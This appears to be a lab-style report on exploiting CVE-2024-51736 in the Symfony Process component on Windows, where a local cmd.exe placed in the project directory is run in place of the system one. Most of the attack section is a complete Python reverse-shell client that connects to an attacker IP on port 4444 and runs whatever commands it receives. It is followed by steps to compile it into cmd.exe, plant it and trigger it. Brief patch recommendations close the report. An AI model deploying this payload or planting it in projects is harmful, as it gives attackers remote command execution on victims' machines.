Research Report: Exploitation of Symfony Process Component Command Execution Hijack (CVE-2024-51736)

Overview

This report details the exploitation of **CVE-2024-51736**, a vulnerability in the Symfony Process component. The flaw allows command execution hijacking on Windows systems due to the improper use of a local `cmd.exe` in the working directory.

CVE Context

- **CVE ID**: CVE-2024-51736
- **Component**: Symfony Process
- **Affected Versions**:
  - Symfony versions `<5.4.46`
  - Versions `>=6, <6.4.14`
  - Versions `>=7, <7.1.7`
- **Fixed in**: Symfony `5.4.46`, `6.4.14`, `7.1.7`
- **Vulnerability Type**: Command Execution Hijack

Experiment Details

Environment

- **Attacker**: Local malicious file (`cmd.exe`) in the working directory
- **Victim**: Windows 10 Pro with a vulnerable Symfony version
- **Application**: Laravel application using the vulnerable Symfony Process library

Steps Performed

1. **Vulnerability Setup**:
   - Installed a vulnerable Symfony version via Composer.
   - Verified that the Process component was using an unpatched library.
2. **Malicious `cmd.exe` Preparation**:
   - Created a malicious `cmd.exe` file:

```
import socket
import subprocess
import os

# Server IP (Kali Linux) and port
server_ip = '192.168.44.169'  # Replace with Kali Linux's IP address
port = 4444  # Port that Kali is listening on
```

```
    # Establish a connection to the Kali machine
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as
client_socket:
        client_socket.connect((server_ip, port))
        print(f"Connected to {server_ip}:{port}")

        # Start with the default working directory
        current_directory = os.getcwd()

        while True:
            # Receive command from Kali
            client_socket.send(f"{current_directory}> ".encode())
            command = client_socket.recv(1024).decode().strip()

            if command.lower() == 'exit':
                break

            if command.startswith("cd "):
                # Extract the path and change the directory
                path = command[3:].strip()
                try:
                    os.chdir(path)
                    current_directory = os.getcwd()
                    client_socket.send(f"Changed directory to
{current_directory}\n".encode())
                except FileNotFoundError:
                    client_socket.send(f"No such directory:
{path}\n".encode())
            else:
                try:
                    # Execute the command in the current directory
                    output = subprocess.check_output(command,
shell=True, stderr=subprocess.STDOUT, cwd=current_directory)
                    client_socket.send(output)
                except subprocess.CalledProcessError as e:
                    error_message = f"Error executing command:
{e.output.decode()}"
                    client_socket.send(error_message.encode())

        print("Closing connection.")
```

- Compiled the Python script into an executable:

```
pyinstaller --onefile cmd.py
```

- Placed the malicious `cmd.exe` in the working directory of the Laravel project.

3. **Command Execution**:

- Ran a vulnerable command, such as:

```
composer install
php artisan serve
```

- Symfony's Process component called the local `cmd.exe` instead of the system version, executing the malicious code.

4. **Observed Outcome**:
   - Received a reverse shell on the attacker's Kali Linux machine.
   - Gained access to the victim's machine with the same privileges as the executing user.

MITRE ATT&CK Analysis

- **Tactic**: Execution
- **Technique**: **T1203** - Exploitation for Client Execution

Recommendations

1. **Update Symfony**:
   - Upgrade to the latest patched versions (`5.4.46`, `6.4.14`, or `7.1.7`).
2. **Secure Execution Paths**:
   - Avoid placing executables like `cmd.exe` in application directories.
3. **Input Validation**:
   - Validate user-supplied paths and input to avoid invoking local files.
4. **Monitoring and Response**:
   - Use security tools to monitor for unexpected behavior in commonly exploited libraries.

This report is for educational purposes and demonstrates the exploitation of a known vulnerability.